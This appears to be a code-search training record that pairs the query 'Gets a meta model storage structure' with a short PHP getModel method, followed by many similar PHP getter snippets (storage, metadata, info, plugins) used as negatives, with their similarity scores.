[ "0.7020853", "0.6790821", "0.6755972", "0.67345965", "0.67104954", "0.67041767", "0.66478884", "0.66478884", "0.6643326", "0.66361886", "0.6602094", "0.65788203", "0.6567232", "0.6538213", "0.6488688", "0.6466755", "0.64623123", "0.6451095", "0.6446355", "0.6446043", "0.6446043", "0.6423323", "0.64075553", "0.6403187", "0.6395467", "0.6377019", "0.63760793", "0.6353008", "0.6330599", "0.63169193", "0.6306453", "0.6291161", "0.628414", "0.6278316", "0.62770915", "0.6254434", "0.6248856", "0.6233676", "0.6233036", "0.6194093", "0.61921996", "0.61866313", "0.617661", "0.6175659", "0.6166914", "0.6156013", "0.61433345", "0.6120645", "0.61121666", "0.6110186", "0.61006314", "0.6086415", "0.6085431", "0.60850763", "0.6071754", "0.6061644", "0.6061644", "0.6053175", "0.60352194", "0.60324836", "0.6012734", "0.60028726", "0.5984047", "0.5981105", "0.5978979", "0.597867", "0.5965832", "0.5960969", "0.5955308", "0.5948273", "0.594573", "0.594573", "0.594573", "0.594573", "0.594573", "0.594573", "0.594573", "0.594573", "0.594573", "0.5941541", "0.59236705", "0.59183633", "0.5914055", "0.591089", "0.59087044", "0.59034395", "0.58708966", "0.5860811", "0.5849721", "0.5835602", "0.58306104", "0.5830601", "0.58283794", "0.5823294", "0.5820472", "0.58195597", "0.5818227", "0.5801108", "0.5785593", "0.57823634" ]
0.6747254
3
Gets a meta model storage structure
public function getModel($name) { return $this ->getService('storage') ->getModel($name) ; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getStorage();", "public function getStorage();", "public function getStorage()\n {\n return $this->get(self::_STORAGE);\n }", "public static function getStorage() {}", "protected function _getMetadataModel()\n\t{\n\t\treturn $this->getModelFromCache('Brivium_MetadataEssential_Model_Metadata');\n\t}", "public function getStorage() {}", "public function getStorage() {}", "public function getStorage() {}", "function getStorage() ;", "protected function getStorageInfo() {\n\t\t$dirInfo = \\OC\\Files\\Filesystem::getFileInfo('/', false);\n\t\treturn \\OC_Helper::getStorageInfo('/', $dirInfo);\n\t}", "function getStorage();", "public function getModelsMetaData(): MetaDataInterface;", "protected function getStorage()\n{\n\tglobal $pclib;\n\tif (!$this->storage) $this->storage = new TranslatorDbStorage($this);\n\treturn $this->storage;\n}", "public function getStorage()\r\n {\r\n return $this->storage;\r\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->_storage;\n }", "public function getMetadataStore()\n {\n return $this->metadata_store;\n }", "public function getStorage() {\n\t\treturn $this->_storage;\n\t}", "abstract protected function getStorage(): StorageInterface;", "function getMeta()\n {\n if (!$this->meta)\n $this->meta = new DataEntity;\n\n return $this->meta;\n }", "public function getStorage(): StorageInterface\n {\n return $this->configuration[ConfigurationInterface::STORAGE];\n }", "public function getMeta();", "public function getMeta();", "public function storage()\n {\n return $this->hasOne(StorageCategory::class);\n }", "protected function getStorage()\n {\n return unserialize(Session::retrieve(__NAMESPACE__));\n }", "private function getStorage()\n {\n if (empty($this->storage)) {\n $this->storage = $this->wizardStorageFactory->create([\n 'key' => $this->getRequest()->getParam(UrlBuilder::REQUEST_PARAM_CONFIGURE_KEY)\n ]);\n }\n return $this->storage;\n }", "public function getModelsMetaData() {}", "public function getAnalysisStorage(): StorageInterface;", "public function getStorage()\n {\n if($this->_storageInstance == null)\n {\n $storageClass = $this->_storageClass;\n $this->_storageInstance = new $storageClass($this->_storageConfig);\n $this->_storageInstance->setMapperInstance($this);\n }\n return $this->_storageInstance;\n }", "public function getGenericMetadata()\n {\n return $this->generic_metadata;\n }", "public function _meta(){\n if(!$this->db->table_exists($this->table_name())):\n throw new OrmExceptions(sprintf(\"The table %s does not exist\", $this->table_name()));\n endif;\n\n if(empty($this->_model_meta )){\n $this->_model_meta = $this->db->field_data($this->table_name());\n $this->_fields_loaded = TRUE;\n }\n return $this->_model_meta ;\n }", "public function getStorage(): StorageInterface\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return Controllers\\StorageController::getInstance();\n }", "public function getStorage()\n {\n if (null === $this->storage) {\n $this->setStorage();\n }\n return $this->storage;\n }", "public function createStorage();", "public function getStorage() {\n return $this->sectionStorage;\n }", "public function get_meta() {\n\t\treturn $this->meta;\n\t}", "public function get_meta() {\n\t\treturn $this->meta;\n\t}", "public function getStorageRecord() {}", "public function meta(){\n $table_meta = new \\stdClass();\n\n // get fields in the database table\n if(count($this->_model_meta)==0){\n $this->_meta();\n }\n\n\n foreach ($this->_model_meta as $meta) {\n $table_meta->{$meta->name} = $meta;\n }\n\n return $table_meta;\n }", "protected function getMetadata()\n {\n // object not working must use array\n $metadata['platform'] = \"Magento 1\";\n $metadata['version'] = Mage::getVersion();\n return $metadata;\n }", "public function meta()\n {\n return $this->meta;\n }", "public function getStorageService();", "public function getStorageType()\n\t{\n\t\treturn \"db\";\n\t}", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function storageType();", "public function getFieldStorageDefinitions();", "protected function getNodeStorage() {\n return $this->entityTypeManager\n ->getStorage('node');\n }", "function getStorageEngine() {\n \treturn $this->storage_engine;\n }", "public function getMeta() {\n return $this->meta;\n }", "public function initStorage()\n {\n $dbMasterConfig = C(self::$dbKey);\n $this->storage = $this->getDbInstance($dbMasterConfig);\n $this->setTableName($dbMasterConfig);\n\n return $this->storage;\n }", "function getStorage()\n{\n\tif (!$this->storage) $this->storage = new AuthDbStorage;\n\treturn $this->storage;\t\n}", "public function getAll()\n {\n return $this->storage;\n }", "private function getMetaData ()\n\t\t{\n\t\t\t$data = file_get_contents (\"META.inf\");\n\t\t\t$o = json_decode ($data,true);\n\t\t\treturn $o;\t\n\t\t}", "public static function meta($id, $use_cache = true)\n {\n static $meta_cache = array();\n if (!is_numeric($id)) {\n $id = self::get_storage_id_by_link($id, true, true);\n }\n if ($use_cache && isset($meta_cache[$id])) {\n return $meta_cache[$id];\n }\n\n $meta = DB::GetRow('SELECT s.*, f.hash, f.type, f.size FROM (SELECT * FROM utils_filestorage WHERE id=%d) s LEFT JOIN utils_filestorage_files f ON s.file_id=f.id', array($id));\n if (!$meta) {\n throw new Utils_FileStorage_StorageNotFound('Exception - DB storage object not found: ' . $id);\n }\n if (!isset($meta['hash']) || empty($meta['hash'])) {\n throw new Utils_FileStorage_FileNotFound('File object does not have corresponding file hash');\n }\n $meta['file'] = self::get_storage_file_path($meta['hash']);\n $meta_cache[$id] = $meta;\n return $meta;\n }", "public function getMeta() {\n return $this->meta;\n }", "public function getMeta(): LaramoreMeta\n {\n return Meta::getForTableName($this->getTableName());\n }", "public function getMetaData(): object\n\t{\n\t\treturn $this->metaData;\n\t}", "public function get_metadata() {\n return $this->metadata;\n }", "public function getCurrentStorage() {\n return @$this->attributes['current_storage'];\n }", "public function getMeta(): array;", "public function getMeta($model)\n {\n }", "function getObjectStore()\n {\n // services. You can also get it from $identity->token().\n $token = $this->identity->authenticateAsUser($this->username, $this->password, null, $this->tenantName);\n Session::put('token', $token);\n\n // Get a listing of all of the services you currently have configured in\n // OpenStack.\n //$catalog = $identity->serviceCatalog();\n //$tenantName = $identity->tenantName();\n\n $storageList = $this->identity->serviceCatalog('object-store');\n $objectStorageUrl = $storageList[0]['endpoints'][0]['publicURL'];\n\n // Create a new ObjectStorage instance:\n $objectStore = new ObjectStorage($token, $objectStorageUrl);\n\n return $objectStore;\n }", "public function getMetas(): object\n {\n return (object) $this->metas->pluck('value', 'key')->toArray();\n }", "public function getLibraryStorage() {\n if (null == $this->libraryStorage) {\n $this->libraryStorage = new LibraryStorage();\n }\n\n return $this->libraryStorage;\n }", "public function getMeta(){\n // $this->meta();\n }", "public function getRootStorage() {\n return @$this->attributes['root_storage'];\n }", "abstract public function instanceFactory($model): EloquentStorage;", "public function getStorageInfo()\n\t{\n\t\treturn 'table=`'.$this->getTable().'\\'';\n\t}", "public function getTrackMeta ($hash) {\n if (Storage::disk('meta')->exists($hash)) {\n $meta = collect(json_decode(Storage::disk('meta')->get($hash), TRUE));\n }else{\n $meta = collect([\n 'id' => $hash\n , 'filename' => 'no_media'\n , 'title' => 'No Media'\n , 'name' => 'no_media'\n , 'url' => 'audio/no_media'\n ]);\n };\n return $meta;\n }", "public function getMeta()\n {\n return $this->getValue('meta');\n }", "public function getMeta()\n {\n return $this->getValue('meta');\n }", "public function getAllMeta()\n {\n return $this->meta;\n }", "public static function getStorage($app) {\n\t\treturn \\OC_App::getStorage($app);\n\t}", "public function metas()\n {\n return $this->morphMany('App\\Meta','metable');\n }", "public function getMetaAttribute(): object\n {\n return $this->getMetas();\n }", "public function storage($storage)\n\t{\n\t\treturn $this->storage->get($storage);\n\t}", "public function getMetadata();", "public function getMetadata();", "public function getMetadata();", "public function getStorageType() {\n return $this->configuration['storage_type'] ?: NULL;\n }", "private function getStore() {\n if (NULL === $this->obj_store) {\n $this->obj_store = new Store($this->makeSchema());\n }\n return $this->obj_store;\n }", "public function get()\n {\n if (!$this->storage->has(self::STORAGE_KEY)) {\n $this->update();\n }\n return $this->storage->get(self::STORAGE_KEY);\n }", "protected function domainStorage() {\n if (!$this->domainStorage) {\n $this->domainStorage = $this->entityTypeManager->getStorage('domain');\n }\n return $this->domainStorage;\n }", "public function getMetadata() {}", "public function getMetadata() {}", "public function getInstanceStorage() {\n if (null == $this->instanceStorage) {\n $this->instanceStorage = new InstanceStorage();\n }\n\n return $this->instanceStorage;\n }", "public function getStorage()\n {\n if (NULL === $this->_storage) {\n $this->setStorage(new Auth\\Storage\\MultipleIdentities());\n }\n \n return $this->_storage;\n }" ]
[ "0.67621154", "0.67621154", "0.66737056", "0.66641504", "0.66548634", "0.66266966", "0.6626445", "0.6624801", "0.64237034", "0.63749105", "0.6345029", "0.630335", "0.62424767", "0.6166812", "0.6150634", "0.6150634", "0.6150634", "0.6150634", "0.6150634", "0.6150634", "0.6150634", "0.6150634", "0.6150634", "0.61422104", "0.6129709", "0.6109061", "0.60497284", "0.6036176", "0.6008393", "0.60071594", "0.60071594", "0.60064304", "0.59828526", "0.59540844", "0.59138376", "0.5889173", "0.58809745", "0.58610046", "0.5858941", "0.5821433", "0.5811355", "0.58080965", "0.57967585", "0.57909256", "0.5786544", "0.5786544", "0.5779958", "0.5779836", "0.5764429", "0.57609487", "0.5741528", "0.5741356", "0.57012206", "0.57012206", "0.57012206", "0.57012206", "0.57012206", "0.56956303", "0.5676812", "0.56742805", "0.5666069", "0.56659806", "0.5661015", "0.565954", "0.5657081", "0.5655353", "0.5651279", "0.56365097", "0.56182855", "0.56091833", "0.560827", "0.5592538", "0.5588145", "0.5566213", "0.55594563", "0.5558287", "0.55492485", "0.55433154", "0.5541986", "0.55404395", "0.5533707", "0.55283785", "0.5503086", "0.5503086", "0.5459493", "0.5456785", "0.54540414", "0.54538804", "0.54488766", "0.54460675", "0.54460675", "0.54460675", "0.5443877", "0.543568", "0.5426603", "0.5415145", "0.5410258", "0.5410258", "0.5406207", "0.54061335" ]
0.5444416
92
Gets the informations layer
public function getInfos() { return $this->getService('infos'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getInformation();", "public function getInfo();", "public function getInfo() {}", "public function getInfo() {}", "public function getInfo()\n\t{\n\t\treturn $this->resource->get($this->name)->getContent();\n\t}", "public function getInfo ()\n {\n return $this->info;\n }", "public function getLayers();", "public function getInfo()\n\t{\n\t\treturn $this->info;\n\t}", "public function getInfo()\n\t{\n\t\treturn $this->info;\n\t}", "public function getInfo()\r\n {\r\n return $this->info;\r\n }", "public function getInformation()\n {\n return $this->information;\n }", "public function getInfo()\n {\n return $this->info;\n }", "public function getInfo()\n {\n return $this->info;\n }", "public function getInfo()\n {\n return $this->info;\n }", "public function getInfo()\n {\n return $this->info;\n }", "public function getInfo()\n {\n return $this->info;\n }", "public function getInfo()\n {\n return $this->info;\n }", "public function getInfo()\n {\n return $this->info;\n }", "public function getInformation()\n {\n return $this->values[\"info\"];\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "public function getInfo()\n {\n return $this->get(self::_INFO);\n }", "function getInfo();", "public function getInfo()\n\t{\n\t\treturn array();\n\t}", "public function getInfos() {\n\t\tif (!$this->isBound()) {\n\t\t\treturn NULL;\n\t\t}\n\t\treturn $this->info;\n\t}", "public function getInfo(): array\n {\n return $this->_info;\n }", "public function getInfo(): array\n {\n return $this->info;\n }", "public function getInfo(): array;", "public function info()\n {\n return $this->info;\n }", "public function info()\n {\n return $this->info;\n }", "public function getGeneralInformation() {\n\t\tif (!$this->hasDetails) {\n\t\t\t$this->injectDetails();\n\t\t}\n\t\treturn $this->generalInformation;\n\t}", "public function getAll()\n {\n return $this->_info;\n\n }", "public function getList()\n {\n return $this->info;\n }", "public function get_info()\n {\n return $this->_request('getinfo');\n }", "public function getServiceInfo() {}", "public function getInformation(): array;", "public function getInfo()\n {\n return $this->getServer()->getInfo();\n }", "protected function getLayer()\n {\n if (Mage::helper('enterprise_search')->getIsEngineAvailableForNavigation()) {\n return Mage::getSingleton('enterprise_search/catalog_layer');\n } else {\n return Mage::getSingleton('catalog/layer');\n }\n }", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getAdditionalInformation() {}", "public function getinfo()\n\t{\n\t\treturn $this->connect('getinfo');\n\t}", "function info() {\n\t \treturn $this->description;\n\t }", "function getInfo()\n\t{\n\t\treturn array_merge($this->getDeveloperInfo(), $this->getContact()->getInfo());\n\t}", "public function getInfos(){\n\t\treturn array(\n\t\t\t\"serviceDescription\" => \"This is the Comunic API Server.\",\n\t\t\t\"clientURL\" => \"https://communiquons.org/\",\n\t\t);\n\t}", "public function getInfo($name) {}", "public function getInfo()\n {\n return $this->addAction(Flag::getInfo());\n }", "public function fetch()\n {\n return $this->info;\n }", "public function getLayers() {\n return $layers;\n }", "public function getInfo()\r\n {\r\n return $this->setNuki(\r\n __FUNCTION__\r\n );\r\n }", "public function Info_Get()\n\t{\n\t\t$Data = $this -> HTTPRequest($this -> APIURL.'Info:Get');\n\t\treturn $this -> ParseResponse($Data);\n\t}", "function getIsLayer() {return $this->readIsLayer();}", "function info()\n\t{\n\t\treturn array();\n\t}", "abstract public function getDetails();", "public function getInfo()\n {\n $this->conn->initialize();\n $json = $this->conn->getClient()->request(\"/{$this->name}/\")->getContent();\n $info = JSONEncoder::decode($json);\n\n return $info;\n }", "public function getInfo(){\n $info = $this->getData();\n $price = $this->getData('price');\n $info['formatted_price'] = $this->priceHelper->currency($price, true, false);\n $info['website'] = $this->websiteHelper->getWebsites();\n $info['customergroup'] = $this->customerGroupHelper->getCustomerGroups();\n\n return $info;\n }", "public function info(){\n return $this->getAdapter()->info();\n }", "function getInfo()\n {\n $info = parent::info();\n $info['name'] = 'GlossaryFilters';\n $info['class'] = 'org.minervaeurope.museoweb.GlossaryFilters';\n $info['package'] = 'Museo&Web CMS';\n $info['version'] = '1.0.0';\n $info['author'] = 'Daniele Ugoletti, Gruppo Meta';\n $info['author-email'] = '[email protected]';\n $info['url'] = 'http://www.minervaeurope.org';\n return $info;\n }", "public function affiche_infos()\n {\n $returnValue = null;\n\n // section -64--88-56-1-530ab1a6:1720ae78e2d:-8000:0000000000000AF0 begin\n // section -64--88-56-1-530ab1a6:1720ae78e2d:-8000:0000000000000AF0 end\n\n return $returnValue;\n }", "public function getInfo()\n {\n return self::jsonDecode($this->fields['info']->getValue());\n }", "public function getLayer($name);", "public function getInfoData() {\n return [\n 'name' => $this->name,\n 'brand' => $this->brand,\n 'price' => $this->price,\n 'shipping_price' => $this->shippingPrice,\n 'shipping_time' => $this->shippingTime\n ];\n }", "private function _get_info() {\n\n\t\t/* Grab the basic information from the catalog and return it */\n\t\t$sql = \"SELECT * FROM `access_list` WHERE `id`='\" . Dba::escape($this->id) . \"'\";\n\t\t$db_results = Dba::query($sql);\n\n\t\t$results = Dba::fetch_assoc($db_results);\n\n\t\treturn $results;\n\n\t}", "public function info();", "public function info();", "abstract public function information();", "public function getInfo() {\n\t\t\t$rec = array(\n\t\t\t\t'ff' => array(\n\t\t\t\t\t'name' => 'Firefox',\n\t\t\t\t\t'href' => 'https://www.mozilla.org/en-US/firefox/new/',\n\t\t\t\t\t'ttl' => 'Open the Firefox download page.'\n\t\t\t\t),\n\t\t\t\t'gc' => array(\n\t\t\t\t\t'name' => 'Google Chrome',\n\t\t\t\t\t'href' => 'http://www.google.com/chrome/eula.html',\n\t\t\t\t\t'ttl' => 'Open the Google Chrome EULA page.'\n\t\t\t\t)\n\t\t\t);\n\t\t\t\n\t\t\t$isValid = false;\n\t\t\t\n\t\t\tforeach ($rec as $key => $value) {\n\t\t\t\tif ($this->bc == $key) {\n\t\t\t\t\t$isValid = true;\n\t\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif (!$isValid) {\n\t\t\t\t$this->bc = 'ff';\n\t\t\t}\n\t\t\t\n\t\t\t$info = array(\n\t\t\t\t'name' => $rec[$this->bc]['name'],\n\t\t\t\t'href' => $rec[$this->bc]['href'],\n\t\t\t\t'ttl' => $rec[$this->bc]['ttl']\n\t\t\t);\n\t\t\t\n\t\t\treturn $info;\n\t\t}", "public function getInfo():array;", "public static function getInfo(){ //функция для получения массива общей информации из бд\n \n $db = Db::getConnection(); //инициализируем подключение к бд\n \n $info = array(); //инициализируем переменную \n \n $result = $db->query('SELECT * FROM info'); // получаем из базы список\n \n $result->setFetchMode(PDO::FETCH_ASSOC);\n \n $row = $result->fetch();\n foreach ($row as $key => $value) { //перебираем массив полученный из бд и формируем массив для вывода на страницу сайта\n $info[$key] = $value;\n }\n \n return $info; //возвращаем массив\n }", "public function getInfo()\n {\n return array(\n 'version' => $this->getVersion(),\n 'label' => $this->getLabel(),\n 'description' => file_get_contents(__DIR__ . '/description.txt')\n );\n }", "public function getInfo() {\n return array(\n \"Hash\" => $this->getName(),\n \"Connected\" => $this->isConnected() ? \"yes\" : \"no\",\n \"IP:Port\" => $this->getIp().\":\".$this->getPort(),\n \"Line In\" => $this->getLineIn(),\n \"Line Out \" => $this->getLineOut(),\n \"Dec Key\" => Utils::bin2hex($this->getDecryptionKey(),64),\n \"Enc Key\" => Utils::bin2hex($this->getEncryptionKey(),64),\n );\n }", "public function infosConfig(){\n $get_configuration_infos = \\App\\Helpers\\ConfigurationHelper\\Configuration::get_configuration_infos(1);\n return $get_configuration_infos;\n }", "private function get_info() {\n\t\treturn array(\n\t\t\t'Versions:' => $this->version_info(),\n\t\t\t'Active Features' => $this->get_active_features(),\n\t\t\t'Active Plugins' => $this->get_active_plugins(),\n\t\t\t'Indexable Post Types' => ( function_exists( 'ep_get_indexable_post_types' ) ) ? ep_get_indexable_post_types() : 'N/A',\n\t\t\t'Indexable Post Status' => ( function_exists( 'ep_get_indexable_post_status' ) ) ? ep_get_indexable_post_status() : 'N/A',\n\t\t\t'Searchable Post Types' => ( function_exists( 'ep_get_searchable_post_types' ) ) ? ep_get_searchable_post_types() : 'N/A',\n\t\t\t'Cluster Status' => ( class_exists( 'EP_API' ) ) ? EP_API::factory()->get_cluster_status() : 'N/A',\n\t\t);\n\t}", "public function getDetail()\n {\n \t$request = \\Request::all();\n // add system log\n $this->systemLogs('view', 'information', $request);\n // End\n\n $information = false;\n $information_description = false;\n if(\\Request::has('information_id')) {\n $information = $this->information->getInformation($request['information_id']);\n\n if($information) {\n $information_description = $this->information->getInformationDescriptionByCode(['information_id'=>$request['information_id'], 'language_id'=>$request['language_id']]);\n }\n \n }\n\n if($information) {\n $this->data->information_id = $information->information_id;\n $this->data->icon = $information->icon;\n }else {\n $this->data->information_id = '';\n $this->data->icon = '';\n }\n\n if($information_description) {\n $this->data->title = $information_description->title;\n $this->data->description = $information_description->description;\n }else {\n $this->data->title = '';\n $this->data->description = '';\n }\n\n return view('information.detail', ['data'=>$this->data]);\n }", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n $info['parameters'] = array('param', 'zone', 'give_context', 'include_breadcrumbs', 'guid');\n return $info;\n }", "public function getInfo()\n {\n if (!empty($this->info)) {\n return $this->info;\n }\n\n // fallback to seat information\n if (!empty($this->seat)) {\n return $this->seat->getDisplayname();\n }\n\n return null;\n }", "public function getInfo()\n\t{\n\t\treturn $this->clientSoap->__soapCall(\"getInfo\", $this->params);\n\t}", "public function getInfo()\n {\n return array(\n 'version' => $this->getVersion(),\n 'label' => $this->getLabel(),\n 'author' => 'Sören Oehding',\n 'supplier' => 'SO_DSGN',\n 'description' => 'Einfaches Bilder Widget für die Einkaufswelten',\n 'support' => 'Shopware Forum',\n 'link' => 'https://so-dsgn.de'\n );\n }", "public function getInfo()\n {\n return $this->lastInfo;\n }", "public function getInfoPrivate()\n {\n return $this->selectAllInfo($this->privateType())->get();\n }", "public function getInfo()\n {\n $result = $this->client->GetInfo();\n if ($this->errorHandling($result, 'Could not get info from FRITZ!Box')) {\n return;\n }\n\n return $result;\n }", "public function get_info() {\n \n return array(\n 'color' => '#eddb11',\n 'icon' => '<i class=\"fab fa-linkedin\"></i>',\n 'api' => array('client_id', 'client_secret'),\n 'types' => array('post', 'rss')\n );\n \n }", "public function getInstanceInfo()\n {\n return $this->get(self::_INSTANCE_INFO);\n }", "protected function getInfoModule() {}", "public function getAllInfo()\n {\n return array_map([$this, 'getEntryInfo'], $this->zipModel->getEntries());\n }", "public function getDetail();", "public function info(): \\iota\\schemas\\response\\info {\n return $this->fetch([\n 'route' => \"info\",\n 'return' => \\iota\\schemas\\response\\Info::class,\n ]);\n }", "public function get_additional_info()\n {\n return array();\n }", "public static function getInfo()\n {\n $result = self::$info;\n if (func_num_args() >= 1) {\n $args = func_get_args();\n foreach ($args as $arg) {\n if (isset($result[$arg]))\n $result = $result[$arg];\n else\n return null;\n }\n }\n return $result;\n }", "public function getInfo()\n {\n $endpoint = '/v2/getinfo/json';\n $response = $this->client->get($endpoint, $this->makeHeaders());\n\n $deviceInfo = new JsonInfoData($response);\n if (!$deviceInfo->wurflInfo()) {\n throw new \\Exception(\"Server returned empty data or a wrong json format\");\n }\n\n // check if server WURFL.xml has been updated and, if so, clear caches\n $this->clearCacheIfNeeded($deviceInfo->ltime());\n\n return $deviceInfo;\n }", "public function getInfo()\n {\n return array(\n 'store' => array_keys($this->_store)\n );\n }", "public function info()\n {\n return $this->type('info');\n }" ]
[ "0.73128617", "0.72200763", "0.7117518", "0.7117518", "0.695264", "0.68107855", "0.6795171", "0.675849", "0.675849", "0.67142195", "0.6705893", "0.66947085", "0.66947085", "0.66947085", "0.66947085", "0.66947085", "0.66947085", "0.66947085", "0.6653471", "0.66063416", "0.66063416", "0.66063416", "0.66063416", "0.66063416", "0.658513", "0.655331", "0.65253884", "0.64764756", "0.64676416", "0.63777786", "0.6358536", "0.6358536", "0.6334335", "0.6326887", "0.6306192", "0.63013464", "0.62824553", "0.6280214", "0.62782043", "0.6228498", "0.6195423", "0.6195423", "0.6195423", "0.6195423", "0.61928684", "0.61928684", "0.61916393", "0.61916393", "0.61916393", "0.6182978", "0.617814", "0.61716473", "0.61699444", "0.6166799", "0.6140159", "0.61305696", "0.61188006", "0.61136943", "0.6111563", "0.61048174", "0.6086531", "0.60864717", "0.60860676", "0.6061369", "0.605269", "0.604674", "0.6044456", "0.6041834", "0.6005141", "0.5996451", "0.5983776", "0.5975208", "0.5975208", "0.5956849", "0.5936992", "0.5934459", "0.5927631", "0.59255534", "0.5912742", "0.59067076", "0.5893808", "0.58907175", "0.5890574", "0.5878514", "0.5874352", "0.5856389", "0.5852793", "0.5835318", "0.58298445", "0.58179384", "0.58147484", "0.58116895", "0.5799009", "0.57968223", "0.57731116", "0.5770326", "0.5755429", "0.57335806", "0.5732322", "0.572346" ]
0.68388194
5
Gets the plugins layer
public function getPlugins() { return $this->getService('plugins'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getPlugin();", "public function getPlugin();", "public function getPlugins()\n {\n $this->getPlugin('base');\n }", "function getPlugins();", "function getPlugins() {\n return $this->plugins;\n }", "public function get_plugins() {\n\t\treturn get_plugins();\n\t}", "public function getPluginManager();", "function getPlugins() {\n\n return $this->plugins;\n\n }", "public function getPlugins()\n {\n return $this->plugins;\n }", "public function getPlugins()\n {\n return $this->plugins;\n }", "public static function plugins() {\n\t\t\treturn self::$plugins;\n\t\t}", "public function getPlugins()\n\t{\n\t\treturn $this->plugins;\n\t}", "static final function getPlugins()\n {\n self::initPlugins();\n return self::$plugins;\n }", "public function getRequiredPlugins() {}", "public function getPlugin(): Plugin {\n\t\treturn $this->loader;\n\t}", "function getEnabledPlugins();", "protected function getLayer()\n {\n if (Mage::helper('enterprise_search')->getIsEngineAvailableForNavigation()) {\n return Mage::getSingleton('enterprise_search/catalog_layer');\n } else {\n return Mage::getSingleton('catalog/layer');\n }\n }", "public function getPlugins()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('plugins');\n }", "public function getPlugins()\n {\n return $this->getProperty()->plugins;\n }", "function &_getPlugin() {\n\t\t$plugin =& PluginRegistry::getPlugin('generic', OAS_PLUGIN_NAME);\n\t\treturn $plugin;\n\t}", "public function get_plugins_data() {\n return $this->plugins_data;\n }", "public function getPluginStore()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('pluginStore');\n }", "public function getPluginArray()\n {\n if( $this->getService()->isRest() )\n return $this->getProperty()->plugins;\n return NULL;\n }", "public static function getPlugins() {\r\n\t\treturn self::getModulesForUser(Config::$sis_plugin_folder);\r\n\t}", "protected function plugin_base() {\n\t\treturn $this->plugin( 'base' );\n\t}", "abstract protected function get_plugin_components();", "public function getContainedPluginInstance();", "function getPlugin($name);", "public function getPluginStd()\n {\n if( $this->getService()->isSoap() )\n return $this->getProperty()->plugins;\n return NULL;\n }", "public function plugin(): Plugin\n {\n return $this->plugin;\n }", "public function getLoadedPlugins()\n\t{\n\t\treturn $this->loadedPlugins;\n\t}", "function get_plugin_broker()\n{\n try {\n return Zend_Registry::get('pluginbroker');\n } catch (Zend_Exception $e) {\n return null;\n }\n}", "function wp_get_active_network_plugins()\n {\n }", "public function getRegisteredPlugins()\n {\n return $this->registeredPlugins;\n }", "protected function get_plugins() {\n\t\tif ( ! $this->plugins ) {\n\t\t\t$this->plugins = array_keys( get_plugins() );\n\t\t}\n\n\t\treturn $this->plugins;\n\t}", "function WPCOM_VIP_Plugins_UI() {\n return WPCOM_VIP_Plugins_UI::instance();\n }", "function wp_get_mu_plugins()\n {\n }", "function get_mu_plugins()\n {\n }", "protected function get_installed_plugins()\n {\n }", "public function getMain() {\r\n\r\n return Server::getInstance()->getPluginManager()->getPlugin(\"HideAndSeek\");\r\n\r\n }", "public static function getPlugins()\n {\n if (static::$plugins instanceof Closure) {\n return (static::$plugins)();\n }\n\n return static::$plugins;\n }", "public function getPluginManager()\n {\n if (! $this->plugins) {\n $this->setPluginManager(new PluginManager(new ServiceManager));\n }\n return $this->plugins;\n }", "function amap_ma_get_map_layers() {\n $layers_apply = array();\n $layers = elgg_get_config('amap_ma_layers');\n foreach ($layers as $l) {\n $l_option = trim(elgg_get_plugin_setting($l['alias'], AMAP_MA_PLUGIN_ID));\n\n if ($l_option) {\n array_push($layers_apply, $l['alias']);\n }\n }\n\n return $layers_apply;\n}", "public function getPlugins() {\n if (is_null($this->_plugins)) {\n $this->_plugins = $this->_scanPlugins();\n }\n return $this->_plugins;\n }", "public function getPlugins() {\n if ( is_null($this->_plugins) ) {\n $this->_plugins = array();\n $plugins = $this->_app->config->getConfig('plugins');\n foreach( $plugins as $name => $conf ) {\n $this->_plugins[ $name ] = new Plugin(\n $this->_app, \n !empty($conf['enabled']) ? $conf['enabled'] : false,\n !empty($conf['options']) ? $conf['options'] : array()\n );\n }\n }\n return $this->_plugins;\n }", "public static function getPluginLoader()\n {\n if (!isset(self::$_pluginLoader)) {\n require_once 'Zend/Loader/PluginLoader.php';\n self::$_pluginLoader = new Zend_Loader_PluginLoader([\n 'Zend_Feed_Reader_Extension_' => 'Zend/Feed/Reader/Extension/',\n ]);\n }\n return self::$_pluginLoader;\n }", "public function getModelPlugin() {\r\n return $this->_model_plugin;\r\n }", "public function getLayers() {\n return $layers;\n }", "protected function getPlugin(): PluginInterface\n {\n return $this->plugin;\n }", "function wpcom_vip_get_loaded_plugins() {\n\tglobal $vip_loaded_plugins;\n\n\tif ( ! isset( $vip_loaded_plugins ) )\n\t\t$vip_loaded_plugins = array();\n\n\treturn $vip_loaded_plugins;\n}", "public function getPlugins()\n {\n if ($this->plugins instanceof \\Doctrine\\ORM\\PersistentCollection) {\n return $this->plugins->getValues();\n }\n else {\n return $this->plugins;\n 